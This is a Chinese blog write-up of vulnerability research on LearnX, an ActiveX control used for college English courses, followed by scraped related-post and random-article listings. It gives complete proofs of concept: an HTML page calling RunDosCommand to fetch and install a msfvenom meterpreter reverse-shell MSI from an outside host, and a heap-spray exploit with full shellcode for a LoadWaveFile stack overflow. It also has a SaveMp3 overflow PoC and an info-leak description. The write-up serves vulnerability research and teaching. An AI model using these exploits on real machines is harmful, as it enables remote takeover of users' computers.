前言

大学英语会用到一个 ActiveX 插件 LearnX ,最近从网上下了一个下来分析了一下,找到了一些漏洞并完成了 exploit . 虽然涉及的知识比较老旧,不过还是挺有意思的。这里分享一下整个过程。

相关文件

链接: https://pan.baidu.com/s/1jfDIInXD4k1nGOeCghEGDg 提取码: dmm6
解压密码:9179ee68791ae58187eb30837370aae4

正文

分析准备

首先在网上下载了一个安装程序,下载并安装到电脑上。

https://language.jhun.edu.cn/1c/f6/c3570a72950/page.htm

由于是 ActiveX 的程序,可以下一个 COMRaider 来辅助分析并 fuzz .

https://github.com/dzzie/COMRaider

安装好插件后使用 COMRaider 来打开 .ocx 文件,查看控件暴露给浏览器的接口。

然后选中程序安装目录下的 .ocx 文件给 COMRaider 分析。

PS: 程序的默认安装目录为

C:\Program Files\Pattek\LearnX

打开后, COMRaider 就会列出控件提供的所有函数名称和参数信息。

接下来就是对这些接口进行分析。

漏洞分析

RunDosCommand 接口命令执行漏洞

首先浏览一遍函数接口,发现一个有意思的接口

RunDosCommand

它的参数为字符串,根据函数名和参数类型可以猜测这应该是执行一条系统命令。于是构造一个 html 页面用js 调用看看。

我们可以使用 COMRaiderfuzz 功能快速生成一个测试用的 html , 然后再生成的脚本上进行一些修改。

点击 Test Exploit in IE 后 , COMRaider 会监听在 1325 端口,然后弹出 ie 访问。

http://127.0.0.1:1325/test.html

我们把源码保存下来,然后修改一下。

代码用 object 标签引用控件,然后使用 vbscript 调用的控件的方法。我们把它修改成 js 的代码,同时去掉一些没用的代码。

弹个计算器看看

<html>
<object classid='clsid:31F4B58F-5981-488D-94A6-6CA7AC034FAC' id='target'></object>
<script language='javascript'>
target.RunDosCommand("calc");
</script>
</html>

下面用 msiexec 弹一个 shell 回来。

<html>
<object classid='clsid:31F4B58F-5981-488D-94A6-6CA7AC034FAC' id='target'></object> <script language='javascript'>
// msfvenom -f msi -p windows/meterpreter/reverse_tcp lhost=192.168.245.128 lport=4444 > r
target.RunDosCommand("msiexec /q /i http://192.168.245.128/r");
</script> </html>

首先用 msfvenom 生成一个 msi 格式的 payload

msfvenom -f msi -p windows/meterpreter/reverse_tcp lhost=192.168.245.128 lport=4444 > r

然后用 python 起一个 http 服务器并设置好 msf 等待链接。

IE 加载 poc 页面即可反弹一个 shell 回来.

LoadWaveFile栈溢出漏洞

下面我们使用 COMRaiderfuzz 一下一些函数,这里以 LoadWaveFile 为被 fuzz 的对象,介绍下使用 COMRaider 进行 fuzz 的方式。

选择要 fuzz 的函数,右键 选择 fuzz member

然后会生成一堆测试样本,点击 next , 继续然后点击 Begin Fuzz 开始 测试。

不一会儿就会测出异常

然后暂停,右键出现异常的样本,选择 Test Exploit in IE

会发现 IE 打开网页后会报错,这样我们就拿不到奔溃的样本,这时可以用 chrome 去访问页面,拿到 html

的源码。

转成 js 的版本。

<html>
Test Exploit page
<object classid='clsid:31F4B58F-5981-488D-94A6-6CA7AC034FAC' id='target' ></object>
<script>
var buf = '';
while(buf.length < 1044){
buf +='A';
}
target.LoadWaveFile(buf);
</script>
</html>

可以看到就是传了 1044ALoadWaveFile 这个 API 。使用 IE 加载 poc , ie 不会 crash , 这是因为 ie 内部有异常处理机制,我们可以使用调试器调试看看。

为了方便调试在触发漏洞前,加一个 alert 语句等待调试器 attach 上去。

在弹出框后使用 x64dbg32 版本附加到 SysFader 这个进程, 因为好像 ActiveX 控件会加载到这个进程,而不是下面那个 tab 的进程。

等调试器附加上去后,继续运行脚本,调试器会中断几次,一直 f9 继续运行 2 次,可以看到 eip 已经变成 0x41414141

下面我们分析一下漏洞的成因,把 LearnX.ocx 拖到 ida 里面分析。搜索函数字符串,然后交叉引用可以找到一个类似于函数表的区域。

表中的每一项代表一个函数,每一项的结构大概为

struct item{
char* function_name; // 函数名
char dummy[0xc]; // 未知用途
void * function_ptr; // 函数的指针
}

图中函数名指针位于 0x02E6E520 , 函数指针位于 0x02E6E530 . 跟进去看看函数的实现。函数有两个参数

int __thiscall LoadWaveFile(char *this, char *a2)

第二个参数是我们的输入。在函数的后面会调用 strcpy 复制我们的输入到栈上.

此处栈的大小为 0x514 , 而我们输入的样本长度只有 1044 个字符, 应该覆盖不到返回地址。所以下面应该还有其他的溢出位置。

在这个函数下断点,然后不断调试发现在 0x02E37FFA 处会调用 sprintf 往栈上写数据,此时的目的缓冲区的大小为 0x114 , 参数为

sprintf(&v39, "%s%s",&String, a2) // a2 为我们的输入

所以我们的样本触发栈溢出的位置是这个地方, sprintfstrcpy 一样不会校验字符串的长度,会造成栈溢出。

漏洞利用的话,由于测试环境是 xp + ie8 没有 dep , 所以直接使用 堆喷射 + shellcode 即可。

<html>

<script src="heaplib.js"></script>

<script language='javascript'>
var heap_obj = new heapLib.ie(0x10000);
// 反弹到 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.245.128 lport=4444 -f js_le
var code = unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u685d%u3233%u0000%u7768%u3273%u545f%u4c68%u2677%u8907%uffe8%ub8d0%u0190%u0000%uc429%u5054%u2968%u6b80%uff00%u6ad5%u6801%ua8c0%u80f5%u0268%u1100%u895c%u50e6%u5050%u4050%u4050%u6850%u0fea%ue0df%ud5ff%u6a97%u5610%u6857%ua599%u6174%ud5ff%uc085%u0a74%u4eff%u7508%ue8ec%u0067%u0000%u006a%u046a%u5756%u0268%uc8d9%uff5f%u83d5%u00f8%u367e%u368b%u406a%u0068%u0010%u5600%u006a%u5868%u53a4%uffe5%u93d5%u6a53%u5600%u5753%u0268%uc8d9%uff5f%u83d5%u00f8%u287d%u6858%u4000%u0000%u006a%u6850%u2f0b%u300f%ud5ff%u6857%u6e75%u614d%ud5ff%u5e5e%u0cff%u0f24%u7085%uffff%ue9ff%uff9b%uffff%uc301%uc629%uc175%ubbc3%ub5f0%u56a2%u006a%uff53%u41d5"); var nops = unescape("%u9090%u9090"); //NOPs
while (nops.length < 0x1000) nops += nops; // create big block of nops
var shellcode = nops.substring(0, 0x800 - code.length) + code;
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(2, 0x40000 - 0x21);
//spray
for (var i = 0; i < 500; i++) {
heap_obj.alloc(block);
}
alert("Spray done");
// Can't directly drag into iexplore
</script> <object classid='clsid:31F4B58F-5981-488D-94A6-6CA7AC034FAC' id='target' ></object> <script> var buf = '';
// 修改返回地址到 0x0c0c0c0c
while (buf.length < 512){
buf += unescape("%0c%0c%0c%0c");
} alert(target);
target.LoadWaveFile(buf); </script> </html>

PS: heaplib.js 是一个用于堆喷射的 js 库, 还有不能直接用文件方式打开,需要自己打一个 http 服务器,

ie 去请求网页。

其他的一些漏洞

之后随便分析了几个 .rdata 上的函数表里面的函数, 发现了一些类似的问题。这里列举一下。

CMPGetWordScore信息泄露

这个函数直接使用我们的输入作为索引去读取 this 对象里面的数据返回。

this 对象里面会有一些指针,会造成信息泄露。

SaveMp3栈溢出

函数开头用 sprintf 把输入字符串写入栈中, 造成栈溢出。

poc

<html>
Test Exploit page
<object classid='clsid:31F4B58F-5981-488D-94A6-6CA7AC034FAC' id='target' ></object>
<script> var buf = ''; while (buf.length < 512){
buf += 'A';
} alert(target);
target.SaveMp3(buf); </script>

参考

https://www.cnblogs.com/0xJDchen/p/5944410.html
https://evi1cg.me/archives/remote_exec.html

LearnX控件漏洞挖掘与利用的更多相关文章

  1. ActiveX 控件漏洞挖掘之方法

    ActiveX是微软公司提出,并在1996年被正式命名的组件技术.该技术提供了一种通用的开放程序接口,使用这种技术开发的ActiveX控件可以直接集成到IE浏览器或第三方应用程序中,但由于第三方编程等 ...

  2. CVE-2016-10191 FFmpeg RTMP Heap Buffer Overflow 漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 一.前言 FFmpeg是一个著名的处理音视频的开源项目,使用者众多.2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-2016-10190 ...

  3. C# winform 跨线程更改窗体控件的属性

    当winform程序中新开一个线程,是无法改变主线程中窗体控件的属性的,否则运行时会报错. 若想在其他线程中控制主线程中的窗体控件,则必须利用BeginInvoke方法. 例如:添加一个名为textb ...

  4. app控件获取之uiautomatorviewer

    初探 在Android的SDk提供了以下的工具来支持我们进行UI自动化测试: uiautomatorviewer:用来扫描和分析Android应用程序的UI控件的工具. uiautomator:一个包 ...

  5. Flex 日期选择器控件

    在构建用户界面时,经常用到日期的输入和选择. 输入日期时,用户可以使用键盘输入,也可以在类似于日历的弹出式对话框中,通过鼠标单击所选日期. 在Flex中可以通过日期输入控件实现输入和选择日期.Flex ...

  6. 浅析五大ASP.NET数据控件

    转自:http://kb.cnblogs.com/page/69207/ 摘要:ASP.NET中有不少的控件,在这当中有一部分是用来处理数据的控件.在这里我们正要讨论的就是ASP.NET数据控件,希望 ...

  7. Appium移动自动化测试(五)--app控件获取之uiautomatorviewer

    初探 在Android的SDk提供了以下的工具来支持我们进行UI自动化测试: uiautomatorviewer:用来扫描和分析Android应用程序的UI控件的工具. uiautomator:一个包 ...

  8. LabVIEW(十二):VI本地化-控件标题内容的修改

    一.对于一般LabVIEW的学习,很少遇到本地化的问题但是我们经常会遇到界面控件标题的显示问题.由于各个技术领域的专业性,往往用户对VI界面的显示有自己的要求,其中就包括控件的标题问题,这可以理解成本 ...

  9. Qt的action控件中采用默认绑定,没有connect显示绑定!!!

    使用qt创建界面时,可以选用代码设计也可以选用qt design来设计.最近看我同事的代码,以前写action都是使用connect链接槽函数的, 网上大多数人都是这样,然后我就纳闷,怎么没有conn ...

随机推荐

  1. Testing - 软件测试知识梳理 - 测试阶段

    估算 测试对软件工作量的估算的准确性 测试评估软件系统的状况的准确性 关注点: 不准确的估算 不适当的开发过程 不真实的状态报告 如何知道对工作量的估算是正确的 估算工作量的工具很容易出错 对软件工作 ...

  2. Pycharm中自动生成作者,日期等信息

    初次安装使用PyCharm,在新建.py文件时会发现文件头并没有什么信息,因此,使用模板会比较方便.方法如下: 1.打开PyCharm,选择File--Settings 2.依次选择Editor--- ...

  3. .NET手记-Autofac进阶(属性和方法注入 Property and Method Injection)

    尽管构造函数参数注入是传递参数值给当前构造的组件的优先方式,但是你也可以使用属性或者方法注入来提供参数值. 属性注入使用可写入的变量而不是构造函数参数来完成注入.方法注入则通过方法来设置依赖项. 属性 ...

  4. $.parseJson()定义和用法

    $.parseJSON() 函数用于将符合标准格式的的JSON字符串转为与之对应的JavaScript对象. 例子: 这里首先给出JSON字符串集,字符串集如下: var data="  { ...

  5. Java异常处理设计(三)

    接着上一篇讲. 一个异常日志处理的例子: 抛出异常的地方为: try{ ... ...//省略N行 }catch( Exception e){ throw new RuntimeException ( ...

  6. [每天解决一问题系列 - 0011] 如何清除Windows中的Icon缓存

    问题描述: 当更换一个应用或者快捷方式的图标后,会看到图标并没有及时更新 问题原因: 原因是Windows为了使图标显示更快,做了缓存%localappdata%\IconCache.db 解决方案: ...

  7. Apache Commons Digester 二(规则模块绑定-RulesModule、异步解析-asyncParse、xml变量Substitutor、带参构造方法)

    前言 上一篇对Digester做了基本介绍,也已经了解了Digester的基本使用方法,接下来将继续学习其相关特性,本篇主要涉及以下几个内容: 规则模块绑定,通过定义一个RulesModule接口实现 ...

  8. SQL 必知必会·笔记<11>创建高级联结

    1. 使用表别名 SQL 除了可以对列名和计算字段使用别名,还允许给表名起别名.这样 做有两个主要理由: 缩短SQL 语句: 允许在一条SELECT 语句中多次使用相同的表. 使用表别名示例: SEL ...

  9. win32编程简介

    win32编程简介 复习Win32整理下知识. 为什么学习win32? 我们要编写windos程序.都离不开API. 也就是我们所说的win32程序. 所以学好win32是你能不能再windows下编 ...

  10. JavaWeb学习 (十六)————JSP中的九个内置对象

    一.JSP运行原理 每个JSP 页面在第一次被访问时,WEB容器都会把请求交给JSP引擎(即一个Java程序)去处理.JSP引擎先将JSP翻译成一个_jspServlet(实质上也是一个servlet ...